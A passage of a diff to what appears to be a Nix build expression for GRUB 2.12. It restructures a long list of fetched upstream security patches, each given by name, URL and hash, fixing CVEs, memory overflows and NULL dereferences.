+      hash = "sha256-5L6Rr+X5Z+Ip91z8cpLcatDW1vyEoZa1icL2oMXPXuI=";
+    })
+    (fetchpatch {
+      name = "23_prerequisite_6_cli_lock_add_build_option_to_block_command_line_interface.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=bb65d81fe320e4b20d0a9b32232a7546eb275ecc";
+      hash = "sha256-HxXgtvEhtaIjXbOcxJHNpD9/NVOv3uXPnue7cagEMu8=";
+    })
+    (fetchpatch {
+      name = "23_CVE-2024-49504.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=13febd78db3cd85dcba67d8ad03ad4d42815f11e";
+      hash = "sha256-U7lNUb4iVAyQ1yEg5ECHCQGE51tKvY13T9Ji09Q1W9Y=";
+    })
+    (fetchpatch {
+      name = "24_disk_loopback_reference_tracking_for_the_loopback.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=67f70f70a36b6e87a65f928fe1e840a12eafb7ae";
+      hash = "sha256-sWBnSF3rAuY1A/IIK1Pc+BqTvyK3j7+lLEhvImtBQMA=";
+    })
+    (fetchpatch {
+      name = "25_kern_disk_limit_recursion_depth.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=18212f0648b6de7d71d4c8f41eb4d8b78b3a299b";
+      hash = "sha256-HiVzXUNs45Fxh4DSqO8wAxSBM7CaYU/bix0PVBcIHGw=";
+    })
+    (fetchpatch {
+      name = "26_kern_partition_limit_recursion_in_part_iterate.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=8a7103fddfd6664f41081f3bb88eebbf2871da2a";
+      hash = "sha256-Nw1VFRVww1VSDSBkRrnTGeaA2PKCitugM12XH6X/2YI=";
+    })
+    (fetchpatch {
+      name = "27_script_execute_limit_the_recursion_depth.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d8a937ccae5c6d86dc4375698afca5cefdcd01e1";
+      hash = "sha256-YOAdPMZ2iBNMzIwAXFkkyTMKh4ptZUQ0J3v9EjnRlbo=";
+    })
+    (fetchpatch {
+      name = "28_net_unregister_net_default_ip_and_net_default_mac_variables_hooks_on_unload.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=a1dd8e59da26f1a9608381d3a1a6c0f465282b1d";
+      hash = "sha256-7fqdkhFqLECzhz1OLavkHrE9ktDAEmx9ZxZayNr/Eo4=";
+    })
+    (fetchpatch {
+      name = "29_net_remove_variables_hooks_when_interface_is_unregisted.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=aa8b4d7facef7b75a2703274b1b9d4e0e734c401";
+      hash = "sha256-m3VLDbJlwchV5meEpU4LJrDxBtA80qvYcVMJinHLnac=";
+    })
+    (fetchpatch {
+      name = "30_CVE-2025-0624.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5eef88152833062a3f7e017535372d64ac8ef7e1";
+      hash = "sha256-DvhzHnenAmO9SZpi4kU+0GhyKZB4q4xQYuNJgEhJmn0=";
+    })
+    (fetchpatch {
+      name = "31_net_tftp_fix_stack_buffer_overflow_in_tftp_open.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=0707accab1b9be5d3645d4700dde3f99209f9367";
+      hash = "sha256-16NrpWFSE4jFT2uxmJg16jChw8HiGRTol25XQXNQ5l4=";
+    })
+    (fetchpatch {
+      name = "32_CVE-2024-45774.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=2c34af908ebf4856051ed29e46d88abd2b20387f";
+      hash = "sha256-OWmF+fp2TmetQjV4EWMcESW8u52Okkb5C5IPLfczyv4=";
+    })
+    (fetchpatch {
+      name = "33_kern_dl_fix_for_an_integer_overflow_in_grub_dl_ref.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=500e5fdd82ca40412b0b73f5e5dda38e4a3af96d";
+      hash = "sha256-FNqOWo+oZ4/1sCbTi2uaeKchUxwAKXtbzhScezm0yxk=";
+    })
+    # Patch 34 (https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d72208423dcabf9eb4a3bcb17b6b31888396bd49)
+    # is skipped, grub_dl_set_mem_attrs() does not exist on 2.12
+    (fetchpatch {
+      name = "35_kern_dl_check_for_the_SHF_INFO_LINK_flag_in_grub_dl_relocate_symbols.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=98ad84328dcabfa603dcf5bd217570aa6b4bdd99";
+      hash = "sha256-Zi4Pj2NbodL0VhhO5MWhvErb8xmA7Li0ur0MxpgQjzg=";
+    })
+    (fetchpatch {
+      name = "36_CVE-2024-45775.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=05be856a8c3aae41f5df90cab7796ab7ee34b872";
+      hash = "sha256-T6DO8iuImQTP7hPaCAHMtFnheQoCkZ6w+kfNolLPmrY=";
+    })
+    (fetchpatch {
+      name = "37_commands_ls_fix_NULL_dereference.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=0bf56bce47489c059e50e61a3db7f682d8c44b56";
+      hash = "sha256-h5okwqv4ZFahP3ANUbsk1fiSV4pwEnxUExeBgQ4tiTI=";
+    })
+    (fetchpatch {
+      name = "38_CVE-2025-0622.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=2123c5bca7e21fbeb0263df4597ddd7054700726";
+      hash = "sha256-tFE7VgImGZWDICyvHbrI1hqW6/XohgdTmk21MzljMGw=";
+    })
+    (fetchpatch {
+      name = "39_CVE-2025-0622.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=9c16197734ada8d0838407eebe081117799bfe67";
+      hash = "sha256-tTeuEvadKbXVuY0m0dKtTr11Lpb3yQi4zk0bpwrMOeA=";
+    })
+    (fetchpatch {
+      name = "40_CVE-2025-0622.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=7580addfc8c94cedb0cdfd7a1fd65b539215e637";
+      hash = "sha256-khRLpWqE7hzzoqssVkGFMjAv09T+uHn13Q9pCpogMms=";
+    })
+    (fetchpatch {
+      name = "41_CVE-2024-45776.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=09bd6eb58b0f71ec273916070fa1e2de16897a91";
+      hash = "sha256-yrl/6XUdKQg/MLe8KFuFoRRbQSyOhDmyvnWBV+sr3EY=";
+    })
+    (fetchpatch {
+      name = "42_CVE-2024-45777.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=b970a5ed967816bbca8225994cd0ee2557bad515";
+      hash = "sha256-Vl5Emw3O3Ba2hD1GCWune4PGduDDPO0gM5u+zx/OwKo=";
+    })
+    (fetchpatch {
+      name = "43_CVE-2025-0690.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=dad8f502974ed9ad0a70ae6820d17b4b142558fc";
+      hash = "sha256-DeWOncndX2VM8w1lb5fd5wHAZrI+ChB5Pj9XbUIfDWY=";
+    })
+    (fetchpatch {
+      name = "44_commands_test_stack_overflow_due_to_unlimited_recursion_depth.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c68b7d23628a19da67ebe2e06f84165ee04961af";
+      hash = "sha256-aputM9KqkB/cK8hBiU9VXbu0LpLNlNCMVIeE9h2pMgY=";
+    })
+    (fetchpatch {
+      name = "45_CVE-2025-1118.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=34824806ac6302f91e8cabaa41308eaced25725f";
+      hash = "sha256-PKQs+fCwj4a9p4hbMqAT3tFNoAOw4xnbKmCwjPUgEOc=";
+    })
+    (fetchpatch {
+      name = "46_commands_memrw_disable_memory_reading_in_lockdown_mode.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=340e4d058f584534f4b90b7dbea2b64a9f8c418c";
+      hash = "sha256-NiMIUnfRreDBw+k4yxUzoRNMFL8pkJhVtkINVgmv5XA=";
+    })
+    (fetchpatch {
+      name = "47_commands_hexdump_disable_memory_reading_in_lockdown_mode.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5f31164aed51f498957cdd6ed733ec71a8592c99";
+      hash = "sha256-NA7QjxZ9FP+WwiOveqLkbZqsF7hULIyaVS3gNaSUXJE=";
+    })
+    (fetchpatch {
+      name = "48_CVE-2024-45778_CVE-2024-45779.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=26db6605036bd9e5b16d9068a8cc75be63b8b630";
+      hash = "sha256-1+ImwkF/qsejWs2lpyO6xbcqVo2NJGv32gjrP8mEPnI=";
+    })
+    (fetchpatch {
+      name = "49_CVE-2025-0677_CVE-2025-0684_CVE-2025-0685_CVE-2025-0686_CVE-2025-0689.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c4bc55da28543d2522a939ba4ee0acde45f2fa74";
+      hash = "sha256-qrlErSImMX8eXJHkXjOe5GZ6lWOya5SVpNoiqyEM1lE=";
+    })
+    (fetchpatch {
+      name = "50_disk_use_safe_math_macros_to_prevent_overflows.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c407724dad6c3e2fc1571e57adbda71cc03f82aa";
+      hash = "sha256-kkAjxXvCdzwqh+oWtEF3qSPiUX9cGWO6eSFVeo7WJzQ=";
+    })
+    (fetchpatch {
+      name = "51_disk_prevent_overflows_when_allocating_memory_for_arrays.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d8151f98331ee4d15fcca59edffa59246d8fc15f";
+      hash = "sha256-2U+gMLigOCCg3P1GB615xQ0B9PDA6j92tt1ba3Tqg+E=";
+    })
+    (fetchpatch {
+      name = "52_disk_check_if_returned_pointer_for_allocated_memory_is_NULL.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=33bd6b5ac5c77b346769ab5284262f94e695e464";
+      hash = "sha256-+BaJRskWP/YVEdvIxMvEydjQx2LpLlGphRtZjiOUxJ0=";
+    })
+    (fetchpatch {
+      name = "53_disk_ieee1275_ofdisk_call_grub_ieee1275_close_when_grub_malloc_fails.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=fbaddcca541805c333f0fc792b82772594e73753";
+      hash = "sha256-9sGA41HlB/8rtT/fMfkDo4ZJMXBSr+EyN92l/0gDfl4=";
+    })
+    (fetchpatch {
+      name = "54_fs_use_safe_math_macros_to_prevent_overflows.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=6608163b08a7a8be4b0ab2a5cd4593bba07fe2b7";
+      excludes = [ "grub-core/fs/erofs.c" ]; # Does not exist on 2.12
+      hash = "sha256-mW4MH5VH5pDxCaFhNh/4mEcYloga56p8vCi7X4kSaek=";
+    })
+    (fetchpatch {
+      name = "55_CVE-2025-0678_CVE-2025-1125.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=84bc0a9a68835952ae69165c11709811dae7634e";
+      hash = "sha256-rCliqM2+k7rTGNpdHFkg3pHvuISjoG0MQr6/8lIvwK4=";
+    })
+    (fetchpatch {
+      name = "56_fs_prevent_overflows_when_assigning_returned_values_from_read_number.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=cde9f7f338f8f5771777f0e7dfc423ddf952ad31";
+      hash = "sha256-dN3HJXNIYtaUZL0LhLabC4VKK6CVC8km9UTw/ln/6ys=";
+    })
+    (fetchpatch {
+      name = "57_fs_zfs_use_safe_math_macros_to_prevent_overflows.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=88e491a0f744c6b19b6d4caa300a576ba56db7c9";
+      hash = "sha256-taSuKyCf9+TiQZcF26yMWpDDQqCfTdRuZTqB9aEz3aA=";
+    })
+    (fetchpatch {
+      name = "58_fs_zfs_prevent_overflows_when_allocating_memory_for_arrays.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=7f38e32c7ebeaebb79e2c71e3c7d5ea367d3a39c";
+      hash = "sha256-E5VmP7I4TAEXxTz3j7mi/uIr9kOSzMoPHAYAbyu56Xk=";
+    })
+    (fetchpatch {
+      name = "59_fs_zfs_check_if_returned_pointer_for_allocated_memory_is_NULL.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=13065f69dae0eeb60813809026de5bd021051892";
+      hash = "sha256-1W//rHUspDS+utdNc069J8lX1ONfoBKiJYnUt46C/D0=";
+    })
+    (fetchpatch {
+      name = "60_fs_zfs_add_missing_NULL_check_after_grub_strdup_call.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=dd6a4c8d10e02ca5056681e75795041a343636e4";
+      hash = "sha256-iFLEkz5G6aQ8FXGuY7/wgN4d4o0+sUxWMKYIFcQ/H+o=";
+    })
+    (fetchpatch {
+      name = "61_net_use_safe_math_macros_to_prevent_overflows.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=4beeff8a31c4fb4071d2225533cfa316b5a58391";
+      hash = "sha256-/gs5ZhplQ1h7PWw0p+b5+0OxmRcvDRKWHj39ezhivcg=";
+    })
+    (fetchpatch {
+      name = "62_net_prevent_overflows_when_allocating_memory_for_arrays.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=dee2c14fd66bc497cdc74c69fde8c9b84637c8eb";
+      hash = "sha256-cO02tCGEeQhQF0TmgtNOgUwRLnNgmxhEefo1gtSlFOk=";
+    })
+    (fetchpatch {
+      name = "63_net_check_if_returned_pointer_for_allocated_memory_is_NULL.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=1c06ec900591d1fab6fbacf80dc010541d0a5ec8";
+      hash = "sha256-oSRhWWVraitoVDqGlFOVzdCkaNqFGOHLjJu75CSc388=";
+    })
+    (fetchpatch {
+      name = "64_fs_sfs_check_if_allocated_memory_is_NULL.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=e3c578a56f9294e286b6028ca7c1def997a17b15";
+      hash = "sha256-7tvFbmjWmWmmRykQjMvZV6IYlhSS8oNR7YfaO5XXAfU=";
+    })
+    (fetchpatch {
+      name = "65_script_execute_fix_potential_underflow_and_NULL.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d13b6e8ebd10b4eb16698a002aa40258cf6e6f0e";
+      hash = "sha256-paMWaAIImzxtufUrVF5v4T4KnlDAJIPhdaHznu5CyZ8=";
+    })
+    (fetchpatch {
+      name = "66_osdep_unix_getroot_fix_potential_underflow.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=66733f7c7dae889861ea3ef3ec0710811486019e";
+      hash = "sha256-/14HC1kcW7Sy9WfJQFfC+YnvS/GNTMP+Uy6Dxd3zkwc=";
+    })
+    (fetchpatch {
+      name = "67_misc_ensure_consistent_overflow_error_messages.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=f8795cde217e21539c2f236bcbb1a4bf521086b3";
+      hash = "sha256-4X7wr1Tg16xDE9FO6NTlgkfLV5zFKmajeaOspIqcCuI=";
+    })
+    (fetchpatch {
+      name = "68_bus_usb_ehci_define_GRUB_EHCI_TOGGLE_as_grub_uint32_t.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=9907d9c2723304b42cf6da74f1cc6c4601391956";
+      hash = "sha256-D8xaI8g7ffGGmZqqeS8wxWIFLUWUBfmHwMVOHkYTc2I=";
+    })
+    (fetchpatch {
+      name = "69_normal_menu_use_safe_math_to_avoid_an_integer_overflow.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5b36a5210e21bee2624f8acc36aefd8f10266adb";
+      hash = "sha256-UourmM0Zlaj4o+SnYi5AtjfNujDOt+2ez2XH/uWyiaM=";
+    })
+    (fetchpatch {
+      name = "70_kern_partition_add_sanity_check_after_grub_strtoul_call.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=8e6e87e7923ca2ae880021cb42a35cc9bb4c8fe2";
+      hash = "sha256-4keMUu6ZDKmuSQlFnldV15dDGUibsnSvoEWhLsqWieI=";
+    })
+    (fetchpatch {
+      name = "71_kern_misc_add_sanity_check_after_grub_strtoul_call.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=a8d6b06331a75d75b46f3dd6cc6fcd40dcf604b7";
+      hash = "sha256-2Mpe1sqyuoUPyMAKGZTNzG/ig3G3K8w0gia7lc508Rg=";
+    })
+    (fetchpatch {
+      name = "72_loader_i386_linux_cast_left_shift_to_grub_uint32_t.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=490a6ab71cebd96fae7a1ceb9067484f5ccbec2a";
+      hash = "sha256-e49OC1EBaX0/nWTTXT5xE5apTJPQV0myP5Ohxn9Wwa8=";
+    })
+    (fetchpatch {
+      name = "73_loader_i386_bsd_use_safe_math_to_avoid_underflow.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=4dc6166571645780c459dde2cdc1b001a5ec844c";
+      hash = "sha256-e8X+oBvejcFNOY1Tp/f6QqCDwrgK7f9u1F8SdO/dhy4=";
+    })
+    (fetchpatch {
+      # Fixes 7e2f750f0a (security patch 14/73)
+      name = "fs_ext2_rework_out-of-bounds_read_for_inline_and_external_extents.patch";
+      url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=348cd416a3574348f4255bf2b04ec95938990997";
+      hash = "sha256-WBLYQxv8si2tvdPAvbm0/4NNqYWBMJpFV4GC0HhN/kE=";
+    })
+  ];
 
-    patches = [
-      ./fix-bash-completion.patch
-      ./add-hidden-menu-entries.patch
-
-      # https://lists.gnu.org/archive/html/grub-devel/2025-02/msg00024.html
-      (fetchpatch {
-        name = "01_implement_grub_strlcpy.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=ea703528a8581a2ea7e0bad424a70fdf0aec7d8f";
-        hash = "sha256-MSMgu1vMG83HRImUUsTyA1YQaIhgEreGGPd+ZDWSI2I=";
-      })
-      (fetchpatch {
-        name = "02_CVE-2024-45781.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c1a291b01f4f1dcd6a22b61f1c81a45a966d16ba";
-        hash = "sha256-q8ErK+cQzaqwSuhLRFL3AfYBkpgJq1IQmadnlmlz2yw=";
-      })
-      (fetchpatch {
-        name = "03_CVE-2024-45782_CVE-2024-56737.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=417547c10410b714e43f08f74137c24015f8f4c3";
-        hash = "sha256-mRinw27WZ2d1grzyzFGO18yXx72UVBM6Lf5cR8XJfs8=";
-      })
-      (fetchpatch {
-        name = "04_fs_tar_initialize_name_in_grub_cpio_find_file.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=2c8ac08c99466c0697f704242363fc687f492a0d";
-        hash = "sha256-EMGF0B+Fw6tSmllWUJAp1ynzWk+w2C/XM1LmXSReHWg=";
-      })
-      (fetchpatch {
-        name = "05_CVE-2024-45780.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=0087bc6902182fe5cedce2d034c75a79cf6dd4f3";
-        hash = "sha256-IlW5i4EJVoUYPu9/lb0LeytTpzltQuu5fpkFPQNIhls=";
-      })
-      (fetchpatch {
-        name = "06_fs_f2fs_grub_errno_mount_fails.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=563436258cde64da6b974880abff1bf0959f4da3";
-        hash = "sha256-Iu0RPyB+pAnqMT+MTX+TrJbYJsvYPn7jbMgE1jcLh/Q=";
-      })
-      (fetchpatch {
-        name = "07_CVE-2024-45783.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=f7c070a2e28dfab7137db0739fb8db1dc02d8898";
-        hash = "sha256-V1wh2dPeTazmad61jFtOjhq2MdoD+txPWY/AfwwyTZM=";
-      })
-      (fetchpatch {
-        name = "08_fs_iso9660_grub_errno_mount_fails.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=965db5970811d18069b34f28f5f31ddadde90a97";
-        hash = "sha256-6eN1AvZwXkJOQVcjgymy/E7QiAxzL/d0W3KlAZRqUzI=";
-      })
-      (fetchpatch {
-        name = "09_fs_iso9660_fix_invalid_free.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=1443833a9535a5873f7de3798cf4d8389f366611";
-        hash = "sha256-Gt5yMy5Vg9zrDggj3o/TLNt2vT9/6IuHg4Se2p8e8pI=";
-      })
-      (fetchpatch {
-        name = "10_fs_jfs_fix_oob_read_jfs_getent.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=66175696f3a385b14bdf1ebcda7755834bd2d5fb";
-        hash = "sha256-ETbzbc5gvf55sTLjmJOXXC9VH3qcP1Gv5seR/U9NRiY=";
-      })
-      (fetchpatch {
-        name = "11_fs_jfs_fix_oob_read_caused_by_invalid_dir_slot_index.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=ab09fd0531f3523ac0ef833404526c98c08248f7";
-        hash = "sha256-wE6niiIx4BdN800/Eegb6IbBRoMFpXq9kPvatwhWNXY=";
-      })
-      (fetchpatch {
-        name = "12_fs_jfs_use_full_40_bits_offset_and_address_for_data_extent.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=bd999310fe67f35a66de3bfa2836da91589d04ef";
-        hash = "sha256-fbC4oTEIoGWJASzJI5RXfoanrMLTfjFOI51LCUU7Ctg=";
-      })
-      (fetchpatch {
-        name = "13_fs_jfs_inconsistent_signed_unsigned_types_usage.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=edd995a26ec98654d907a9436a296c2d82bc4b28";
-        hash = "sha256-aa1G1vi4bPZejfKEqZokAZTzY9Ea2lyxTrP4drDV9tk=";
-      })
-      (fetchpatch {
-        name = "14_fs_ext2_fix_out-of-bounds_read_for_inline_extent.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=7e2f750f0a795c4d64ec7dc7591edac8da2e978c";
-        hash = "sha256-PtPqZHMU2fy7btRRaaswLyHizplxnygCzDfcg5ievOQ=";
-      })
-      (fetchpatch {
-        name = "15_fs_ntfs_fix_out-of-bounds_read.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=aff26318783a135562b904ff09e2359893885732";
-        hash = "sha256-znN6lkAB9aAhTGKR1038DzOz5nzuTp+7ylHVqRM7HeI=";
-      })
-      (fetchpatch {
-        name = "16_fs_ntfs_track_the_end_of_the_MFT_attribute_buffer.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=237a71184a32d1ef7732f5f49ed6a89c5fe1c99a";
-        hash = "sha256-0I/g0qHkWY6PArPn1UaYRhCrrh9bHknADh34v5eSjjM=";
-      })
-      (fetchpatch {
-        name = "17_fs_ntfs_use_a_helper_function_to_access_attributes.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=048777bc29043403d077d41a81d0183767b8bc71";
-        hash = "sha256-Mm49MSLqCq143r8ruLJm1QoyCoLtOlCBfqoAPwPlv8E=";
-      })
-      # Patch 18 (067b6d225d482280abad03944f04e30abcbdafa1) has been removed because it causes regressions
-      # https://lists.gnu.org/archive/html/grub-devel/2025-03/msg00067.html
-      (fetchpatch {
-        name = "19_fs_xfs_fix_out-of-bounds_read.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=6ccc77b59d16578b10eaf8a4fe85c20b229f0d8a";
-        hash = "sha256-FvTzFvfEi3oyxPC/dUHreyzzeVCskaUlYUjpKY/l0DE=";
-      })
-      (fetchpatch {
-        name = "20_fs_xfs_ensuring_failing_to_mount_sets_a_grub_errno.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d1d6b7ea58aa5a80a4c4d0666b49460056c8ef0a";
-        hash = "sha256-SLdXMmYHq/gRmWrjRrOu5ZYFod84EllUL6hk+gnr3kg=";
-      })
-      (fetchpatch {
-        name = "21_kern_file_ensure_file_data_is_set.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=a7910687294b29288ac649e71b47493c93294f17";
-        hash = "sha256-DabZK9eSToEmSA9dEwtEN+URiVyS9qf6e2Y2UiMuy8Q=";
-      })
-      (fetchpatch {
-        name = "22_kern_file_implement_filesystem_reference_counting.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=16f196874fbe360a1b3c66064ec15adadf94c57b";
-        excludes = [ "grub-core/fs/erofs.c" ]; # Does not exist on 2.12
-        hash = "sha256-yGU//1tPaxi+xFKZrsbUAnvgFpwtrIMG+8cPbSud4+U=";
-      })
-      (fetchpatch {
-        name = "23_prerequisite_1_key_protector_add_key_protectors_framework.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5d260302da672258444b01239803c8f4d753e3f3";
-        hash = "sha256-9WnFN6xMiv+1XMhNHgVEegkhwzp9KpRZI6MIZY/Ih3Q=";
-      })
-      (fetchpatch {
-        name = "23_prerequisite_2_disk_cryptodisk_allow_user_to_retry_failed_passphrase.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=386b59ddb42fa3f86ddfe557113b25c8fa16f88c";
-        hash = "sha256-e1kGQB7wGWvEb2bY3xIpZxE1uzTt9JOKi05jXyUm+bI=";
-      })
-      (fetchpatch {
-        name = "23_prerequisite_3_cryptodisk_support_key_protectors.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=ad0c52784a375cecaa8715d7deadcf5d65baf173";
-        hash = "sha256-+YIvUYA3fLiOFFsXDrQjqjWFluzLa7N1tv0lwq8BqCs=";
-      })
-      (fetchpatch {
-        name = "23_prerequisite_4_cryptodisk_fallback_to_passphrase.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=6abf8af3c54abc04c4ec71c75d10fcfbc190e181";
-        hash = "sha256-eMu9rW4iJucDAsTQMJD1XE6dDIcUmn02cGqIaqBbO3o=";
-      })
-      (fetchpatch {
-        name = "23_prerequisite_5_cryptodisk_wipe_out_the_cached_keys_from_protectors.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=b35480b48e6f9506d8b7ad8a3b5206d29c24ea95";
-        hash = "sha256-5L6Rr+X5Z+Ip91z8cpLcatDW1vyEoZa1icL2oMXPXuI=";
-      })
-      (fetchpatch {
-        name = "23_prerequisite_6_cli_lock_add_build_option_to_block_command_line_interface.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=bb65d81fe320e4b20d0a9b32232a7546eb275ecc";
-        hash = "sha256-HxXgtvEhtaIjXbOcxJHNpD9/NVOv3uXPnue7cagEMu8=";
-      })
-      (fetchpatch {
-        name = "23_CVE-2024-49504.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=13febd78db3cd85dcba67d8ad03ad4d42815f11e";
-        hash = "sha256-U7lNUb4iVAyQ1yEg5ECHCQGE51tKvY13T9Ji09Q1W9Y=";
-      })
-      (fetchpatch {
-        name = "24_disk_loopback_reference_tracking_for_the_loopback.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=67f70f70a36b6e87a65f928fe1e840a12eafb7ae";
-        hash = "sha256-sWBnSF3rAuY1A/IIK1Pc+BqTvyK3j7+lLEhvImtBQMA=";
-      })
-      (fetchpatch {
-        name = "25_kern_disk_limit_recursion_depth.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=18212f0648b6de7d71d4c8f41eb4d8b78b3a299b";
-        hash = "sha256-HiVzXUNs45Fxh4DSqO8wAxSBM7CaYU/bix0PVBcIHGw=";
-      })
-      (fetchpatch {
-        name = "26_kern_partition_limit_recursion_in_part_iterate.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=8a7103fddfd6664f41081f3bb88eebbf2871da2a";
-        hash = "sha256-Nw1VFRVww1VSDSBkRrnTGeaA2PKCitugM12XH6X/2YI=";
-      })
-      (fetchpatch {
-        name = "27_script_execute_limit_the_recursion_depth.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d8a937ccae5c6d86dc4375698afca5cefdcd01e1";
-        hash = "sha256-YOAdPMZ2iBNMzIwAXFkkyTMKh4ptZUQ0J3v9EjnRlbo=";
-      })
-      (fetchpatch {
-        name = "28_net_unregister_net_default_ip_and_net_default_mac_variables_hooks_on_unload.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=a1dd8e59da26f1a9608381d3a1a6c0f465282b1d";
-        hash = "sha256-7fqdkhFqLECzhz1OLavkHrE9ktDAEmx9ZxZayNr/Eo4=";
-      })
-      (fetchpatch {
-        name = "29_net_remove_variables_hooks_when_interface_is_unregisted.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=aa8b4d7facef7b75a2703274b1b9d4e0e734c401";
-        hash = "sha256-m3VLDbJlwchV5meEpU4LJrDxBtA80qvYcVMJinHLnac=";
-      })
-      (fetchpatch {
-        name = "30_CVE-2025-0624.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5eef88152833062a3f7e017535372d64ac8ef7e1";
-        hash = "sha256-DvhzHnenAmO9SZpi4kU+0GhyKZB4q4xQYuNJgEhJmn0=";
-      })
-      (fetchpatch {
-        name = "31_net_tftp_fix_stack_buffer_overflow_in_tftp_open.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=0707accab1b9be5d3645d4700dde3f99209f9367";
